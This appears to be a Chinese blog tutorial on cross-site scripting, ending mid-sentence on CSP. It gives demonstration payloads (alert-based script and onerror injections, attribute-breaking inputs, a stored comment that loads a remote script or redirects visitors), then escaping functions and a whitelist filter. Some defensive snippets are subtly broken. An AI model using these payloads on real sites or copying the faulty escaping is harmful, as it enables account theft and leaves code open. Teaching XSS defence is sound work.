zoukankan      html  css  js  c++  java
  • XSS 攻击实战

    什么是XSS?

    为了与层叠样式表css区分,将跨站脚本简写为XSS。

    XSS攻击原理

    XSS(Cross Site Scripting)攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。比如这些代码包括HTML代码和客户端脚本。

    XSS,两个层次是服务器端和浏览器端。协议就是HTML/CSS/JavaScript。对于服务器端来说,html是数据(字符串);对于浏览器端来说,html是指令。XSS的原理,就是破坏html/css/js的构造。

    主要危害

      1、盗取各类用户帐号,如机器登录帐号、用户网银帐号、各类管理员帐号
      2、控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
      3、盗窃企业重要的具有商业价值的资料
      4、非法转账
      5、强制发送电子邮件
      6、网站挂马
      7、控制受害者机器向其它网站发起攻击

    XSS根据效果不同可以分为三类

    1. 反射型XSS(reflected)
    2. 存储型XSS(stored)
    3. DOM Based XSS

    黑客更喜欢“存储型”,或者说“存储型”的“危害”更大

    1.反射型XSS

    反射型XSS,也叫非持久型XSS,是指发生请求时,XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应。响应结果中包含危险XSS代码,最后浏览器解析并执行。从概念上可以看出,反射型XSS代码是首先出现在URL中的,然后需要服务端解析,最后需要浏览器解析之后XSS代码才能够攻击。

    这类通常使用URL,具体流程:

      1、Alice给Bob发送一个恶意构造了Web的URL。
      2、Bob点击并查看了这个URL。
      3、恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在Bob电脑上。
      4、具有漏洞的HTML页面包含了在Bob电脑本地域执行的JavaScript。
      5、Alice的恶意脚本可以在Bob的电脑上执行Bob所持有的权限下的命令。

    举个列子:

    http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
    
    http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
    
    http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
    // 有时攻击者会伪造一个图片,让你点击后链接跳转URL
    

    服务端代码片段,只做了一个简单的字符串连接就返回给客户端。

    Chrome是有做处理的相对比较安全,但是Firefox就没有。

    2.存储型XSS

    存储型XSS,也叫持久型XSS,主要是将XSS代码发送到服务器(不管是数据库、内存还是文件系统等。),然后在下次请求页面的时候就不用带上XSS代码了。最典型的就是留言板XSS。用户提交了一条包含XSS代码的留言到数据库。当目标用户查询留言时,那些留言的内容会从服务器解析之后加载出来。浏览器发现有XSS代码,就当做正常的HTML和JS解析执行。XSS攻击就发生了。

    例如:该网页有一个发表评论的功能,该评论会写入后台数据库,其他用户访问留言板的时候,会从数据库中加载出所有的评论并执行了相应的 js 代码。

    // 留言解析攻击
    <td><script src='https://bundle.js'></script></td>
    <textarea><script src='https://bundle.js'></script></textarea>
    
    // 诱导到钓鱼网站
    <img onclick="window.location.href='http://www.baidu.com'" width='300' src='img/webwxgetmsgimg.jpg'/>
    
    // 劫持流量实现恶意跳转
    <script>window.location.href="http://www.baidu.com";</script>
    

    3.DOM型XSS

    与前两者完全不同,DOM型XSS是纯前端的XSS漏洞,XSS直接通过浏览器进行解析,就完成攻击。

    基于DOM的XSS有时也称为type0XSS。如果服务端对DOM中的数据没有经过严格确认,当用户能够通过交互动态地检查和修改浏览器页面中DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。

    img

    实例1:包括\符号也要复制进去

    这种攻击方式是因为其操作处于双引号之内,系统转义了双引号导致变量无法“escape”

    <body>
        <input type="text" id="text">
        <input type="button" id="s" value="按钮" onclick="test()">
        <div id='div'></div>
        <a href="ggg" onclick="alert(/xss/)" \'>示范2</a>
        <script>
            function test(){
                var str = document.getElementById('text').value;    
                document.getElementById("div").innerHTML = "<a href='"+str+"' >testLink</a>";
            }
        </script>
    </body>
    

    我们在文本输入框输入下面:(注意含有空格)

    ' οnclick=alert(/xss/) //
    或者
    ' οnclick=alert(/xss/)  \
    或者
    ' οnclick=alert(/xss/)  /
    

    图片

    输入后,页面代码就变成了:

    <a href='' onclick=alert(/xss/)//' >生成的link</a>
    

    图片2

    首先用一个单引号闭合掉href的第一个单引号,然后插入一个onclick事件,最后再用注释符”//"注释掉第二个单引号。

    点击这个新生成的连接,脚本将被执行:

    图片3

    你可以拿下面的img图片用上面的实例测试也可以有类似效果

    <img src="xxx" onerror=alert("/xss/");>
    

    实例2:

    <body>
        <input type="text" id="text">
        <input type="button" id="s" value="按钮" onclick="test()">
        <div id='div'></div><br/>
        <script>
            function test(){
                var str = document.getElementById('text').value; 
                document.getElementById("div").innerHTML = "<img src="+'gggg '+str+" />";
            }
            // 注意src的值gggg后面附带空格的
        </script>
    </body>
    

    注意src的值gggg后面附带空格的,若是忘写空格,则必须要文本输入框中首个字符是空格

    我们在文本输入框输入下面:: (注意含有空格)

     ' onerror=alert(/我是xss/) 
    

    图片4

    反射型XSS效果与存储型XSS和DOM型XSS唯一的差别是反射型XSS直接把GET中的参数显示在网页上,没有经过数据库,而存储型XSS是先存储到服务器上,再回显到网页的。则DOM型XSS是单纯的前端漏洞

    (2016.3.16修改,domxss取决于输出位置,并不取决于输出环境,因此domxss既有可能是反射型的,也有可能是存储型的)

    XSS攻击的注入点

    • HTML节点内容
    • HTML属性
    • JavaScript代码 (字符串提前关闭)
    • 富文本

    1、HTML节点内容
    这个其实就是我之前演示的,HTML节点中暗藏攻击脚本。

    HTML节点内容**

    2、HTML属性
    这里img的src属性是由用户传递过来的值,当用户把图片地址写成错误的:1"%20onerror="alert(%27哈哈被攻击%27)

    clipboard.png

    clipboard.png

    3、JavaScript代码 (字符串提前关闭)
    当JavaScript代码中有一个变量是由用户提供的数据,这个数据也有可能之前被写入了数据库。如下图,当用户输入的内容为:
    小柚子";alert(%27哈哈你被攻击了!%27);"

    preview

    preview

    **4、富文本 **
    大家都知道,富文本其实就是一段HTML。既然它是一段HTML,那么就存在XSS攻击。而且富文本攻击的防御相对比较麻烦。

    XSS防御措施

    chrome浏览器自带防御,可拦截反射性XSS(HTML内容和属性),js和富文本的无法拦截,所以我们必须得自己做一些防御手段。

    反射性XSS的url处理,采用插值或过滤

    1. 推荐使用插值
    2. encodeURI

    1、HTML节点内容的防御

    将用户输入的内容进行转义:

    // 后端代码
    var escapeHtml = function(str) {
        str = str.replace(/</g,'&lt;');
        str = str.replace(/>/g,'&gt;');
        return str;
    }
    
    ctx.render('index', {comments, from: escapeHtml(ctx.query.from || '')});
    

    preview

    2、HTML属性的防御

    对空格,单引号,双引号进行转义

    // 后端代码
    var escapeHtmlProperty = function (str) {
        if(!str) return '';
        str = str.replace(/"/g,'&quto;');
        str = str.replace(/'/g,'&#39;');
        str = str.replace(/ /g,'&#32;');
        return str;
    }
    
    ctx.render('index', {posts, comments,
        from:ctx.query.from || '',
        avatarId:escapeHtmlProperty(ctx.query.avatarId || '')});
    

    preview

    3、JavaScript的防御

    对引号进行转义

    var escapeForJS = function(str){
            if(!str) return '';
            str = str.replace(/\/g,'\\');
            str = str.replace(/"/g,'\"');
            return str;
    }
    

    preview

    4、富文本的防御

    富文本的情况非常的复杂,js可以藏在标签里,超链接url里,何种属性里。

    <script>alert(1)</script>
    <a href="javascript:alert(1)"></a>
    <img src="abc" onerror="alert(1)"/>
    

    所以我们不能过用上面富文本的方法做简单的转义。因为情况实在太多了。

    现在我们换个思路,
    提供两种过滤的办法:比较复杂,需要用白名单过滤,不在白名单中的都转义

    1)黑名单
    我们可以把<script/> onerror 这种危险标签或者属性纳入黑名单,过滤掉它。但是我们想,这种方式你要考虑很多情况,你也有可能漏掉一些情况等。

    2)白名单
    这种方式只允许部分标签和属性。不在这个白名单中的,一律过滤掉它。但是这种方式编码有点麻烦,我们需要去解析html树状结构,然后进行过滤,把过滤后安全的html在输出。
    这里提供一个包,帮助我们去解析html树状结构,它使用起来和jquery非常的类似。

    npm install cheerio --save

    var xssFilter = function(html) {
        if(!html) return '';
        var cheerio = require('cheerio');
        var $ = cheerio.load(html);
        //白名单
        var whiteList = {
            'html' : [''],
            'body' : [''],
            'head' : [''],
            'div' : ['class'],
            'img' : ['src'],
            'a' : ['href'],
            'font':['size','color']
        };
    
        $('*').each(function(index,elem){
            if(!whiteList[elem.name]) {
                $(elem).remove();
                return;
            }
            for(var attr in elem.attribs) {
                if(whiteList[elem.name].indexOf(attr) === -1) {
                    $(elem).attr(attr,null);
                }
            }
    
        });
    
        return $.html();
    }
    
    console.log(xssFilter('<div><font color="red">你好</font><a href="http://www.baidu.com">百度</a><script>alert("哈哈你被攻击了")</script></div>'));
    

    大家可以看到:

    clipboard.png

    <script>不在白名单中,所以被过滤掉了。

    5、CSP(Content Security Policy)

    内容安全策略(Content Security Policy,简称CSP)是一种以可信白名单作机制,来限制网站中是否可以包含某来源内容。默认配置下不允许执行内联代码(